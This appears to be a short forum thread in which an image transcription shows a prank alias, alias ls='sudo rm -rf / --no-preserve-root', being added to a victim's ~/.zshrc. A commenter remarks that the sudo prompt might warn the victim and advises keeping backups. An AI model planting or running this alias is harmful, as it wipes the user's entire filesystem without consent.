Image transcription: screenshot of neovim adding alias ls='sudo rm -rf / --no-preserve-root' to the end of ~/.zshrc

  • ninjan@lemmy.mildgrim.com
    link
    fedilink
    English
    arrow-up
    40
    arrow-down
    1
    ·
    11 months ago

    That sudo might save the poor victims ass if they’re awake enough to wonder “why does it ask for password when I’m just doing ls?”

    Otherwise it’s a good lesson in always having backups / easy way to reproduce your setup.